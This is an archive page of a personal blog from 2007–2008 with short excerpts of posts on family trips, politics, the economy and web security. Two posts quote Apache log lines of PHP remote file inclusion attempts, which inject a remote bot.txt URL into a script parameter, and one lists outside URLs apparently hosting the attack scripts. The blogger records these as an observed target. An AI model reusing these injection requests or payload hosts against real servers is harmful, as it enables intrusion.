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Vacation in Panama City Beach
2008-06-06 01:51:00
Last week, I took my family to Panama City Beach . I know what you’re thinking - what a dump. I don’t mean Panama City, I mean Panama City Beach - a few miles down the coast. It’s not the concrete jungle that Panama City is… Yet. When we arrived, I was standing at ...
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What happened to Chuck E Cheeze?
2008-05-06 14:43:00
When I was a kid, the highlight of my year was to get to go to Chuck E Cheeze.  They had many cool games and the singing, dancing animitronics.  I hadn’t been there is a long, long time until last year.  I went for a birthday party that my son was invited to.  It was ...

Some cool scripts I?ve found
2008-05-01 15:56:00
I have way too many domain names, and last weekend I decided to try to put some of them to productive use.  I had the idea of pull all of my RSS feeds from my various sites to one common site.  Initially, I looked at LeafRSS, but it wasn’t quite what I was looking for.  ...
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Iran?s decision to trade oil in Euros instead of dollars
2008-04-30 19:08:00
Iran announced that it is now trading oil Euros instead of dollars.  The weakness in the dollar is cited as a primary reason, though it is understood that the growing tension between the US and Iran is probably a key factor as well. The general reaction I have seen is: “Holy Crap!”.  But, I have to wonder: ...
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Wordpress backup script
2008-04-30 01:18:00
I was looking to upgrade wordpress today, and realized that there MUST be a better way.  So, I hit google up for a “wordpress upgrade script”.  Sure enough, I found a great script at http://pthree.org/2007/03/02/wordpress-up grade-script/.  I played with it, but it still required a lot of work - looking up database usernames and whatnot.  I figured that ...
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Authentication in the real world
2008-02-18 02:25:00
There is an interesting prank being pulled on CEO’s and CFO’s of many large public companies that highlights the trouble of authentication in the real world.  The wall street journal has a report about a prankster who dials into a quarterly earnings call and gives a bogus name and company to the operator.  A well ...
More About: World , Real , Authentication , The Real World

Our Economy is in Trouble
2008-01-11 17:29:00
In the past 24 hours, Bank of America has announced that it entered into an agreement to acquire Countrywide Financial.  That’s an amazing thing.  Countrywide holds north of 20% of mortgages in the US.  As the housing market continues to unwind, they are seeing an increasing number of delinquent payments.  Despite this, Countrywide has to ...
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Carbon, human impact on climate and the Earth
2007-12-07 23:15:00
How is Global Warming like God? There appears to be an inverse relationship between the belief in God, and the belief that humans are causing global warming.  Certainly, there seems to be an increasing acceptance of human impact on climate, even within the ranks of the religious right, but it’s happening slowly.  I find the parrellels ...
More About: Earth , Climate , Human , Carbon , Carb

Securing Adolescents From Exploitation-Online (SAFE) Act
2007-12-06 20:53:00
The US House of Representatives passed the SAFE act by a 409 to 2 margin.  It also appears likely to pass the senate.  It is interesting to note that one of the 2 “nay” votes on the bill was none other than Ron Paul.  While I agree with his decision to vote against the bill, ...
More About: Exploitation , Online , Safe

Crazy php code injections
2007-11-24 01:32:00
 As I’ve written about here several times, the onslaught of unsuccessful php include attacks continues.  Today, I saw a new file referenced - bot.txt.  It looked like this in the apache log file: 216.246.48.124 - - [23/Nov/2007:17:17:13 -0500] “GET //chat/inc/cmses/aedating4CMS.php?dir[inc ]=http://www.dreamhoppers.com/guestbook/l ib/bot.txt?? HTTP/1.1″ 404 41845 “-” “libwww-perl/5.808″ 216.246.48.124 - - [23/Nov/2007:17:17:13 -0500] “GET /2007/11/20/current-crop-of-php-include-a ttempts//chat/inc/cmses/aedating4CMS.php? dir[inc]=http://www.dreamhoppers.com/gues tbook/lib/bot.txt?? HTTP/1.1″ 404 41894 “-” “libwww-perl/5.808″ 216.246.48.124 ...
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Kucinich and Paul make a good team?
2007-11-23 16:29:00
This interview with Dennis Kucinich ’s lovely & intelligent wife: Has moderates on both sides quite excited. Unfortunately, it can’t be. There are a few major obstacles: Neither appears to be on a trajectory to win their respective party primary race. Someone has to be VP. It’s unlikely that, though they are close on many issues, ...
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Damn lightning?
2007-11-22 21:34:00
I was awoke this morning by a storm coming in.  I really hate that sound in the middle of the night, because my kids are very afraid of storms.  I was counting to myself how long it would take to hear the first set of footsteps. The rain picked up and the thunder rumbled on.  The ...
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Have CAPTCHAs been broken? Sort of?
2007-11-21 17:50:00
I just read this article about the Hannah Montana ticket debacle, and how it points to an apparent weakness is CAPTCHA.  Unfortunately, for CAPTCHA, the problem wasn’t some slick new algorithm designed by a miscreant that can reliably decipher the images, but rather establishing a network that grabs the CAPTCHA from one site, shoots it ...
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Are domain parking companies complicit in typo-squatting?
2007-11-21 04:35:00
From this article  “The domain name parking companies are providing a service. Whether or not you agree with the domain name owner?s decision to buy a certain domain name, it is not the parking company?s responsibility to police the internet and protect a company?s brand. That remains the responsibility of the brand itself. The brand or ...
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Conservatives Honing Gaydar?
2007-11-21 01:33:00
Given all of the wacky antics our conservative leadership has been, well, participating in, this, taken from Conservapedia is pretty funny: Make no mistake, it’s clearly been “stuffed” by someone out to “bone” the repubs, but funny none-the-less.
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Electotainment
2007-11-21 01:03:00
I just finished reading this article and have to respond.  The author doesn’t directly come out and say it, but is basically accusing the new media of dumbing down the political process, and we, the electorate are the victims.  We are NOT the victims… We are the cause.  Have you seen what’s on TV lately?  ...

Current crop of php include attempts
2007-11-21 00:01:00
I’m not sure why I’m so fascinated by this crude and ineffective hacking attempt, but I am.  Here are the currently active hosts: http://www.mta.cl/galeria2/galery2.jpg?? http://www.mta.cl/galeria2/galery.txt? http://www.freewebtown.com/w8ting/safe.tx t?? http://tools.aerofito.com/safeon.txt?? http://64.203.191.222/.check/c.txt? http://www.ohanlonpaving.com/phpmic.txt.t xt? http://rotation.wooshck.org/image/safe.tx t? http://83.19.144.26/bo.do?? http://www.old2sold.net/newpitbulonspread .txt? http://coolpc.com.tw/evaluate/safe? http://www.ena-gmbh.de/download/cikos.txt ? http://www.dip-kostroma.ru/bak_skompa/the mes/runcms/menu/images/.asc/www?????????? ??????????????????? http://www.freewebtown.com/komandan/tool/ q3.txt? http://www.manycontentz.com//ine/img/cont r.txt?? http://ninaru.hut2.ru/images/cs.txt? http://amygirl.land.ru/baby? http://electro.lydo.org/rfi/id.txt? http://freewebs.com/chika_manis_banget/cm d.txt??? http://www.martinschaab.de/php/id.txt? http://www.realtyna.c...
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